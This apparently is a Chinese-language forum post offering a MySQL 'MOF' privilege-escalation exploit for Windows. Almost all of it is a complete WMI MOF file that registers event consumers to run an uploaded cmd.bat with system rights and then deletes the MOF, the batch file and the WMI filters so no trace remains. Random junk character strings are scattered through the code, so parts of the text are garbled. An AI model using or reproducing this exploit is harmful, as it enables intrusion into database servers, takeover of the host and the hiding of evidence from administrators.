Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
- U  m3 i0 N; n8 M2 c: c& ]需要将要运行的命令写入到bat上传到system32目录，然后执行。

这个sql提权MOF需要运行 system下的文件，不能定义路径。
% e  X6 \4 i/ }需要将要运行的命令写入到bat上传到system32目录，然后执行。

2 p& T$ W9 ~0 k: l' D#pragma
                        namespace("\\\\.\\root\\cimv2")
0 S' U& w0 L3 o' W8 ^0 ]% c  @9 f                        class
7 |4 r; i/ A: c  ~7 s9 l! [' x                        MyClass547
" [1 C+ }# v8 K( [9 w                        {           [key]
2 M% F: N' g" D7 {2 |( Q; ]                        string
! |: D. u- U8 R. ]5 D                        Name;
                        };
; y7 T& X/ a& _/ L% p9 R                        class
2 t' n( G" {6 z9 J                        ActiveScriptEventConsumer
                        : __EventConsumer {          [key]
                        string
4 M) D8 j2 ]4 X+ z9 t                        Name;           [not_null]
                        string
% Q6 i2 o) l; ]; Q                        ScriptingEngine;           string
0 n: ^' w8 ~3 p7 T0 X$ F- O1 S                        ScriptFileName;           [template]
" r* [) E: N  y# ^: y                        string
. ^, p1 U' e; {( G4 z" H+ k                        ScriptText;         uint32 KillTimeout;
                        }; instance of __Win32Provider as $P {
                        Name
+ n* ^* R, I6 f+ q% E5 V0 U9 f" A                        =
. s8 m$ k0 u- X# [+ c) ^                        "ActiveScriptEventConsumer";     CLSID =
1 v3 H7 m& B+ p1 ?                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
                        PerUserInitialization
+ U+ _7 \! a+ B, v( `) V! `1 `7 ?5 ]                        = TRUE;
                        }; instance of __EventConsumerProviderRegistration {         Provider
7 b) q- ?6 ^! {! p! ]% C% t" `+ k                        = $P;         ConsumerClassNames
                        =
                        {"ActiveScriptEventConsumer"};
                        };
( Q+ S8 x3 P& G                        Instance of ActiveScriptEventConsumer
                        as $cons {         Name
, k! W# @! @7 G4 W1 R                        =
                        "ASEC";         ScriptingEngine
2 K: M: {  N8 k2 c                        =
                        "JScript";         ScriptText
                        =
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
# h& i' u+ [- B, U6 s                        Instance of ActiveScriptEventConsumer
+ A' N+ `  i9 w# F' A4 e3 I" H7 q0 s                        as $cons2 {         Name
( w( }2 \& N( N/ }6 d8 Q                        =
4 f6 W4 i4 b# w6 ]2 o                        "qndASEC";         ScriptingEngine
! c$ ^9 g9 k5 B. S                        =
) G  Z# g+ D0 a! W. S: |  h; E                        "JScript";         ScriptText
                        =
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
/ l; _. M4 W2 k6 L( r' J2 S                        }; instance of __EventFilter as $Filt {         Name
                        =
) v7 Q3 d' |) A5 N# u                        "instfilt";         Query
7 K8 |; |5 }5 c, D) z. D; F. V/ f                        =
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
4 Z; Y; C- T0 C# Z2 t' B' V% K7 R                        =
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
8 U5 q5 \3 g  h; ?0 @                        =
                        "qndfilt";         Query
                        =
- {' \7 C. z& T% K7 M                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
                        =
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
2 l5 C: R9 r6 u' d1 f                        = $Filt;
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
) h0 [7 h: {: `! c* F$ q8 N                        = $cons2;         Filter
7 n" Y8 |7 z) j9 L, [% y9 \                        = $Filt2;
                        }; instance of MyClass547
0 v/ p# K) x( T7 K# M5 `+ I. Y% h3 s                        as $MyClass {         Name
                        =
                        "ClassConsumer";
                        };